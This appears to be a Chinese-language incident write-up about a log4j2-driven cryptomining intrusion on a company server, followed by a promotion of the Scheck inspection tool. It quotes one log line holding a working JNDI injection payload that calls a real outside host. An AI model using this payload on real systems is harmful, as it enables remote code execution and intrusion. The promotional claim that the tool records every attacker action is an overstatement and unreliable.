簡介

2021年底，技術圈被 log4j2 漏洞掀起巨浪，各大安全公司紛紛發文介紹該漏洞的危害，并給出了各種臨時解決方案。還有一些博主也發表文章教我們如何找到易受攻擊的地方，并采取相應的防御措施。還有大量帖子跟著起哄，討論如何采用一些不必要的防御技術。12月29日，我們就發現了一起由 log4j2 漏洞引發的挖礦事件。

驚險時刻

收到安全告警

事情還是要從一條告警說起。12月29日 18:59，公司釘釘安全告警信息,親！df_solution_ecs_002存在2 個 warn。由于warn 級別的告警不是很嚴重，所以當時我們沒有太在意。

收到服務器CPU 99% 告警

19:34:00 收到安全告警30分鐘后，釘釘群內突然收到CPU 飆升的告警。告警來的猝不及防，系統運行很長時間，怎么突發發生這種狀況。

發現可疑進程

于是，我們趕緊登錄我們的觀測平臺查看服務器基礎信息。cpu 使用率太高了吧！同時我們發現進程監控中有5個惡意進程CPU使用率為100%。此刻我們才發現，我主機應該被挖礦了。馬上通知相關同事進行處理，將惡意進程關閉。

追蹤溯源

惡意進程處理完成后，心中一陣后怕，老大也下達了要查明事故原因的命令。此刻我一陣頭大，我怎么查病毒入口？突然，腦中靈光一閃想到了剛剛安全告警。于是打開了安全巡檢的頁面，果然病毒注入留下了蛛絲馬跡被Scheck巡檢工具捕捉到。在12/29 18:52的時候發生5個以上的warn 安全告警事件，首先18:52病毒添加了免密登錄，18:57添加了一個用戶，之后有添加了二進制文件等等。

知道了入侵時間，我打算在18:40～18:53 之間查看一些突破，觀測云可以根據當時時間查看當時服務器的狀態，指標，還有日志。

終于在18:54左右的時候發現了這條日志，2021-12-29 18:50:23.906+0000 [id=66628] request param ${jndi:rmi://67.220.90.132:30023/test}0 ms。這不是那個最近這火的log4j 2的漏洞么！！！67.220.90.132地址還是美國加利福尼亞洛杉磯的。

最后，綜合這些線索，我畫了個時間圖，發現黑客進行攻擊的時候，我們Scheck就已經將惡意行為上報到了觀測平臺并進行告警。在那時，只是我們沒有及時關注，還好我可以通過統一觀測平臺，進行分析和觀測發現了源頭。

強烈推薦

經歷了此次事件，要感謝觀測云的安全巡檢工具Scheck，讓我度過這次難關。服務器被入侵不可怕，可怕的不知道你是如何和入侵，黑客對主機做了哪些惡意操作，Scheck 可以實時監控主機安全事件。此軟件安全可靠，支持二次開發，開源。是一款在運行用戶本地機器上的一種安全巡檢工具。

我們為什么推薦使用Scheck

1、安全

Scheck 是款開源軟件，你可以放心使用。開源地址：https://github.com/GuanceCloud/scheck

Scheck 中的 Lua 不能引入第三方庫，直接的文件 IO 也是被禁止的，只能通過 Golang 封裝的 Lua 接口才能對文件進行讀取

2、高度一致的跨平臺可用性

在主流的 linux、windows 上均可直接使用無需考慮平臺兼容性

數據可觀測性

Scheck 的巡檢結果，可以直接導入觀測云，也可以導入阿里云SLS日志

3、可擴展性

用戶可以自定義新的巡檢腳本，通過二次開發入口 即可方便的開發出新巡檢腳本。

Scheck 的作用到底是什么

Scheck 作為一款運行用戶本地機器上的一種安全巡檢工具，他不做安全防護，但他們可以提前感知你的操作是否安全，主機被入侵時，黑客的惡意行為都會被Scheck 上報。你可以自己分析和觀測，目前沒有絕對安全的軟件來保證你主機安全，但是Scheck可以保證黑客或其他的不安全的操作都會被記錄和上報。

這就是我們強烈推薦 Scheck 原因！